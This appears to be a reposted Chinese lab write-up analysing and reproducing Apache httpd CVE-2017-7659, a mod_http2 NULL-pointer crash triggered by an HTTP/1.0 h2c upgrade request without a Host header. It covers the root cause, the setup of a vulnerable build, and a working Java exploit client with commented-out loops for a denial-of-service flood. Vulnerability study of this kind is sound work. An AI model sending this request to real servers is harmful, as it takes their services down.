Apache CVE-2017-7659 漏洞重现及利用分析

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:apache在其网站发布的安全公告,针对CVE-2017-7659漏洞的介绍是这样的:A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。

一、实验原理介绍

apache在其网站发布的安全公告,针对CVE-2017-7659漏洞的介绍是这样的:

A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.

可以看到这是apache WEB服务器(httpd)中的一个HTTP 2.0协议处理的漏洞。

有漏洞的服务器源码下载链接: https://archive.apache.org/di...

通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数 h2_stream_set_request_rec ,发现是调用h2_request_rcreat创建http 2.0请求的数据结构req,h2_request_rcreat执行失败时req为空,此时在日志函数ap_log_rerror中直接解引用req导致进程崩溃:

Apache CVE-2017-7659 漏洞重现及利用分析

继续查看函数 h2_request_rcreate ,看到首先会把req置为0,然后判断4个变量r->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时req还是0,就会导致进程崩溃:

Apache CVE-2017-7659 漏洞重现及利用分析

那么这4个变量是哪一个为空导致的漏洞呢?scheme是先判断了是否为空再赋值的,首先排除;path是从r->parsed_uri中解析出来,解析函数apr_uri_unparse在其它地方有多次使用,直觉path也不会为空;r->method保存请求的方法字段,在HTTP请求中必须存在,因此也不应该为空;因此只有r->hostname,保存请求的主机名,也就是域名,可能为空。

我们知道,HTTP请求中,有2个地方可以表示主机名:

1) 请求的路径以完整URL方式表示,URL中包含主机名,例如GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在ap_parse_uri函数中解析这种主机名的

2) 在Host请求头中包含主机名,例如:

GET / HTTP/1.1

Host: www.example.com

服务器中是在fix_hostname函数中解析这种主机名的分别审计ap_parse_uri和fix_hostname函数,发现如果请求中没有Host头,那么r->hostname确实是空。但是服务器也考虑到了这种情况,在ap_read_request函数中做了判断:

Apache CVE-2017-7659 漏洞重现及利用分析

这里的判断逻辑,如果满足下面2个条件之一

1) r->hostname为空,且请求的HTTP版本大于等于1.1

2) 没有Host头,且请求的HTTP版本等于1.1

就会立刻回复400状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1的RFC2616的14.23节中明确指明, HTTP/1.1请求必须包含Host头。

但是,HTTP还有1.0版本,且HTTP/1.0和HTTP/1.1的处理流程一样,虽然HTTP/1.0确实没有规定请求必须包含Host头。因此HTTP/1.0请求是可以没有Host头的,程序会一直按照流程执行,最终执行到h2_stream_set_request_rec函数,此时r->hostname为空,从而触发漏洞。

综合上面的分析,该漏洞利用成功需要如下条件:

1) 服务器支持HTTP/2

2) 请求是HTTP/1.0版本

3) 请求中没有Host头

二、环境配置介绍

1)、实验的环境CentOS 7,2.4.25版本的Apache Httpd服务器

2)、Apache的安装前的准备工作

安装Sqllite
# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz
# tar zxf sqlite-autoconf-3080704.tar.gz
# cd sqlite-autoconf-3080704
# ./configure --prefix=/usr/local/sqlite-3.8.7.4
# make && make install

安装apr
# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr-1.5.2
# make && make install

安装apr-util
# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2
# make && make install

安装nghttp2
# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz
# tar zxf nghttp2-1.38.0.tar.gz
# cd nghttp2-1.38.0
# ./configure --prefix=/usr/local/nghttp2-1.38.0
# make && make install

# 最后安装2.4.25版本的Apache服务器
# cd /usr/local/src
# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz
# cd httpd-2.4.25
# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2  --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0  --enable-http2  --enable-dav  --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4
# make && make install
# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default
# ln -s /usr/local/apache-2.4.25/  /usr/local/apache

3)、修改配置文件httpd.conf,并测试Apache是否能运行

1、设置服务器监听的端口

Apache CVE-2017-7659 漏洞重现及利用分析

2、Apache服务器的IP和端口

Apache CVE-2017-7659 漏洞重现及利用分析

3、添加支持Http2.0的module

Apache CVE-2017-7659 漏洞重现及利用分析

Apache CVE-2017-7659 漏洞重现及利用分析

如果提示说没有mod_http2.so,可以使用下面的命令编译生成

/opt/httpd/httpd/bin/apxs -c mod_http2.c

/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la

注:在下载的源码modules文件夹那里执行

4、设置日志级别为debug,否则后续漏洞复现不了,因为如果不是debug级别,不会执行漏洞函数

Apache CVE-2017-7659 漏洞重现及利用分析

5、启动服务器

Apache CVE-2017-7659 漏洞重现及利用分析

Apache CVE-2017-7659 漏洞重现及利用分析

至此,实验的环境已经搭建好。

三、实验过程详细介绍

1. 首先起一个单一进程的apache httpd服务,方便验证进程崩溃后的效果

Apache CVE-2017-7659 漏洞重现及利用分析

访问浏览器: 正常访问

Apache CVE-2017-7659 漏洞重现及利用分析

2、编写 Java 程序,发送恶意请求

尝试发送漏洞请求过去,触发服务器的漏洞函数

Apache CVE-2017-7659 漏洞重现及利用分析

public class HttpTest extends Thread{

    public void createSocket() {

    }

    public void communcate() throws IOException {
        // 注意这里必须制定请求方式 地址 注意空格
        Socket socket = new Socket("192.168.179.112", 8888);
        OutputStream os = socket.getOutputStream();
        InputStream is = socket.getInputStream();
        StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n");
        // 以下为请求头
        sb.append("User-Agent: curl/7.50.1\r\n");
        //sb.append("Host: 39.108.122.247\r\n");
        sb.append("Accept: */*\r\n");
        sb.append("Connection: Upgrade, HTTP2-Settings\r\n");
        sb.append("Upgrade: h2c\r\n");
        sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n");
        //sb.append("Content-Length: 2\r\n");
        // 注意这里要换行结束请求头
        sb.append("\r\n");
        System.out.println(sb.toString());
        try {
            os.write(sb.toString().getBytes());
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            /*byte[] bytes = new byte[1024];
            int len = -1;
            int i =0 ;
            while ((len = is.read(bytes)) != -1) {
                    baos.write(bytes, 0, len);
            }
            System.out.println(new String(baos.toByteArray()));
            */
            socket.close();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    @Override
    public void run() {
        createSocket();
        // Dos攻击
        /*while (true) {
            try {
                communcate();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }*/


        try {
            communcate();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

    /*
    GET / HTTP/1.1
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
     */

    public static void main(String[] args) {
//        for(int i =0; i<100 ;++i) {
            HttpTest client = new HttpTest();
            client.start();
//        }
    }
}

漏洞成功复现:

Apache CVE-2017-7659 漏洞重现及利用分析

此时浏览器也访问不了

Apache CVE-2017-7659 漏洞重现及利用分析

3、如果是多进程的apache httpd服务

Apache CVE-2017-7659 漏洞重现及利用分析

当worker进程崩溃时,apache会自动启动新的worker进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?

修改上面的Java代码,发送Dos攻击

Apache CVE-2017-7659 漏洞重现及利用分析

apache 服务器全部worker进程都崩溃了!

Apache CVE-2017-7659 漏洞重现及利用分析

四、实验总结

这个实验的难点是分析漏洞的发生原因、实验环境的配置。首先,在 linux 上安装Apache Http 2.4.25这个版本的服务器,参考网上的一些教程安装,发现过程是不全的,只能靠自己去根据控制台打印的错误日志去找原因,为了让Apache服务器支持Http2.0,mod_http2.so这个module一直报错,后来安装配置了nghttp2重新编译才能成功开启服务器。安装好实验环境后,写了一段Java程序去验证,发送Http1.0的请求并且不带Host消息头,一开始创建了1000个线程发送1000个“恶意请求”,发现Apache服务器并没有宕机,百思不得其解,调了一个下午都没有成功,在队友的电脑也是这样的问题。之后不断地查阅资料,并且尝试去看源码,发现需要在配置文件里面设置日志级别为debug才会触发漏洞,默认是info级别,这点在官网上并没有描述,这个服务器如果是没有设置为debug级别是不会执行漏洞函数的,解决了这个大坑之后,服务器终于崩溃(出现了Segmentation fault这个段异常,即内部有空指针异常),但是Apache有保护机制,当worker进程崩溃时,apache会自动启动新的worker进程。我们编写了的程序,同时发起多个畸形请求,以不断触发后台worker崩溃,并让apache服务器不断陷入重新分配worker的处理之中。基于漏洞发生的场景可以得出,解决这个漏洞的关键是就是增加了对h2_request_rcreate函数返回值的判断即可。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First Web Design

Head First Web Design

Ethan Watrall、Jeff Siarto / O’Reilly Media, Inc. / 2009-01-02 / USD 49.99

Want to know how to make your pages look beautiful, communicate your message effectively, guide visitors through your website with ease, and get everything approved by the accessibility and usability ......一起来看看 《Head First Web Design》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具